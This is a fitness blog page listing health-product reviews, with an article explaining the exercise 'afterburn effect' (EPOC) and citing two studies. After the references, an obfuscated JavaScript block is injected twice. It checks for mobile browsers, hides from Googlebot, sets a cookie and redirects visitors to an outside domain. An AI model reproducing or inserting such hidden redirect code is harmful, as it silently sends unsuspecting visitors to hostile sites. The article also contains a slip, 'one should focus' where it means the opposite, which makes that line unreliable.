1. Natural Vitiligo Treatment System Review
  2. Ovarian Cyst Miracle Review
  3. Acne No More Review
  4. Eczema Free Forever Review
  5. How to Get Rid of Tinnitus & Pulsatile Tinnitus Treatment With Tinnitus Miracle
  6. How to Get Rid of Psoriasis Free For Life – Psoriasis Treatment
  7. How to Grow Taller Fast With Grow Taller 4 Idiots
  8. Hashimoto’s Hypothyroidism – The Root Cause of Hypothyroidism
  9. Subclinical Hypothyroidism – The Early Warning
  10. Thyroid Treatment – Nature’s Cure for Hypothyroidism
  11. Hypothyroidism Treatment Options For Fast & Effective Results!
  12. Mysteries of the Thyroid
  13. Hypothyroidism and Pregnancy – The Effects on Both Child and Mother
  14. Hypothyroidism Symptoms in Women – A Woman’s Touch
  15. Congenital Hypothyroidism – Harm at Birth
  16. What is Hypothyroidism? – The Condition Revealed
  17. Hypothyroidism Symptoms, Causes & Effective Treatments
  18. Hypothyroid Diet – A Healthy Habit or a Trivial Practice?
  19. Low Blood Sugar – Guide to Symptoms and Treatments
  20. What is Shingles? The Ultimate Guide to the Shingles Virus
  21. What is Herpes? Everything You Need to Know for Protection
  22. What Causes Cold Sores? Understanding the Viral Infections
  23. Low Blood Sugar Symptoms – Awareness and Resolutions
  24. Symptoms of Shingles – Ultimate Shingles Knowledge Guide
  25. How to Lower Blood Sugar – The Full Guide to Blood Sugar Regularity
  26. Silent Reflux – The Complete Guide
  27. Symptoms of Herpes – Warning Signs for Men and Women
  28. Home Remedies for Heartburn – Solve Heartburn Naturally
  29. Esophageal Reflux – Preventing Acid Discomfort and Pain
  30. Shingles Treatment – Home Remedies and Modern Medication Guide
  31. Shingles on Face – Symptoms, Treatments, and Risks of Shingles
  32. High Blood Sugar – All You Need to Know
  33. Cellulite Treatments
  34. Intermittent Fasting
  35. What Causes Heartburn? The Ultimate Symptom Guide
  36. What Does Heartburn Feel Like?
  37. Eczema Treatments
  38. Natural Remedies for Acid Reflux – Timing and Food Choices for Reflux Health
  39. GERD Diet – The Natural & Safe Solution
  40. Home Remedies for Cold Sores – All Natural Methods
  41. High Blood Sugar Symptoms – Understanding Blood Sugar Before It’s Too Late
  42. Bile Reflux and Esophageal Health
  43. Cure for Herpes – Preventing Viral Breakouts
  44. Blood Sugar Levels – How To Maintain Normal Levels
  45. The Paleo Diet – Explained
  46. Acid Reflux Treatment – Natural and Modern Medicine
  47. Foods That Lower Blood Sugar – All That You Need to Know
  48. Fasting Blood Sugar – Maintaining Glucose Health
  49. Normal Blood Sugar Levels – Consistency and Normality for Blood Sugar
  50. Acid Reflux Symptoms and Knowing When to Visit the Doctor
  51. Acid Reflux in Infants – How to Protect Your Child
  52. What is GERD – A Comprehensive Guide
  53. Cold Sores in Mouth – Embarrassing, Painful, and Viral
  54. Cold Sore on Lip – How to Know What It Is
  55. Cold Sore Treatment – Getting Rid of Unsightly Blemishes
  56. 10 Diet Tips That ACTUALLY Work!
  57. Cystic Acne
  58. Primal Burn Review – Is Paleo Overrated?
  59. Back Acne; the What and How to Treat
  60. Ways to Boost Your Motivation
  61. The Truth: Exercise and Height
  62. Single Leg Training
  63. Diet or Exercise?
  64. Sleep and Weight Loss: Connected?
  65. Increasing Energy Expenditure Through NEAT
  66. Protein Intake to Gain Mass
  67. Alcohol and Weight Loss
  68. 5 Glute and Thigh Exercises
  69. 3 Great FREE Online Food Journals
  70. Full Body vs. Split Body Workouts
  71. Exercises for Home Workouts
  72. Time: Exercise’s Barrier
  73. Sugar: One of the Problems with Today’s Diet
  74. Neglecting Legs: A Beginners Mistake
  75. What Workout Plan is Right for Me?
  76. Warm Up to Save Yourself from Injury
  77. Lactic Acid – Fact or Fiction?
  78. Breakfast for Weight Loss to Kick Start Metabolism
  79. The Truth About the ‘Afterburn Effect’
  80. 5 Plateau Busting Strategies
  81. Intermittent Fasting or Daily Caloric Reduction best for Weight Loss?
  82. HIIT Training or Continuous Aerobic Exercise better for Weight Loss?
  83. V-Cut Abs: 4 Simple Steps
  84. Fat Cells and Leptin Production
  85. Writing Out Your S.M.A.R.T. Goals for Weight Loss
  86. On the web cheaper specialty essay, term paper, analysis report, claim
  87. Creatine: The Ergogenic Aid for Weekend Warriors or Professional Athletes
  88. Study suggests that one can burn MORE CALORIES by having a workout partner
  89. 5 Tips to Avoid Holiday Weight Gain
  90. Resistance Training for Beginners: Part 2
  91. Resistance Training For Beginners: Part 1
  92. The Health Risks of Belly Fat and Ways to Lose Yours
  93. Bodyweight Burn Review – Have Your Fat Loss Struggles Come to an End?
  94. Cellulite Factor Review – Does this Product Make Cellulite Disappear Forever?
  95. Tinnitus Miracle Review – You Don’t have to Suffer Anymore
  96. Grow Taller 4 Idiots Review – Can You Really Increase Your Height?
  97. Hemorrhoids Don’t Have to Debilitate You
  98. The Only Real Solution to Yeast Infections
  99. Acne No More is it a Scam? Or Does it Really Work?
  100. Fat Burning Furnace Review – Can you Actually Melt Fat like Butter?
  101. Muscle Gaining Secrets Review – Can You Become Jacked with This Program?
  102. Vision Without Glasses Review – Can You Improve Your Vision?
  103. Turbulence Training Review – Does It Live Up to the Hype?
  104. Customized Fat Loss a Scam? – Learn the Real Truth
  105. The 31 Day Fat Loss Cure Review – Is it a Scam or a Miracle?
  106. Fat Loss 4 Idiots Review – Are You an Idiot for Buying it or Does it Work?
  107. Somanabolic Muscle Maximizer Review – A Complete Muscle Gain System
  108. Eat Stop Eat A Scam? Or Does it Work?
  109. Fat Loss Factor Review – Learn the Truth Behind this Fitness Program
  110. Weight Loss 101
  111. Visual Impact Muscle Building Review
  112. The Best Muscle Building Supplements That WORK!
  113. How to Build Lean Muscle Fast
  114. The Best Fat Burning Exercises That Work!
  115. How to Lose Weight in a Month With 5 Simple Steps
  116. 5 Steps to Guaranteed Weight Loss Success
  117. How to Lose Weight Without Exercise Only Dieting
  118. Effective Secrets on How to Get Skinny Fast!
  119. The Truth About Six Pack Abs Review
  120. The Diet Solution Program Review
  121. Hello world. This my website!

Recently, someone asked me about the afterburn effect that occurs with exercise.  They asked me if it works and if it will increase their chances of weight loss.  I have mentioned the afterburn effect in a previous article, however I referred to it by its scientific name – exercise post-exercise oxygen consumption – or EPOC for short.

What is the ‘Afterburn Effect’

The afterburn effect is the name given for the increased amount of calorie expenditure post exercise which can last for up to 36hrs.  This increase in energy expenditure post exercise is due to the increased oxygen consumption by the body.  The human body requires oxygen to restore the body to resting state after exercise.  The consumed oxygen is used for replenishing fuel stores, hormone balancing, and cellular repair.

What exercises give the ‘Afterburn Effect?’

This is a very difficult question to answer because frankly, every exercise session will grant you the afterburn effect.  Although very promising, the intensity and duration of exercise will influence the amount of afterburn you gain.  Borsheim & Bahr (2003) state that the magnitude of afterburn depends on the intensity and duration of aerobic exercise, however the dependent variables for resistance training have yet to be determined.  Furthermore, it has been established that intermittent high intensity interval training can create a larger afterburn than steady state cardio (Laforgia et al., 1996)

How Can I Use the ‘Afterburn Effect?’

The concept of an afterburn effect is quite enticing for people who wish to lose weight.  It is essentially telling someone that they can burn more calories post exercise than they would normally.  This is true in hindsight however it is not strictly for people who are losing weight.  Everyone who exercises undergoes this afterburn and increased oxygen post exercise.  The amount of energy expended during the afterburn is not the same as during exercise, actually it is quite less.  Additionally, 16 hours post exercise, the increased calorie expenditure has decayed 87% of immediate post exercise.

What I am trying to say is that one should focus their weight loss program on such a variable rate of caloric expenditure.  It is a great benefit to exercise, however it should not be the backbone to ones weight loss program.  You will burn considerably more calories during a 45 minute session of steady state cardio or even more during HIIT than you will during the 16-24 hours post exercise.

Final Thoughts

To get the biggest afterburn effect through exercise, try to conduct HIIT sessions.  Ones magnitude of afterburn is dependent on the  intensity and duration of exercise so for the biggest bang for the buck – HIIT sessions are the way to go!

Reference

Borsheim, E., & Bahr, R. (2003).  Effect of exercise intensity, duration and mode on post-exercise oxygen consumption.  Sports Medicine 33(14), 1037-1060.

Laforgia, J., Withers, R.T., Shipp, N.J., Gore, C.J. (1996).  Comparison of energy expenditure elevations after submaximal and supramaximal running.  Journal of Applied Physiology, 82(2), 661-666.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Popular Products Reviews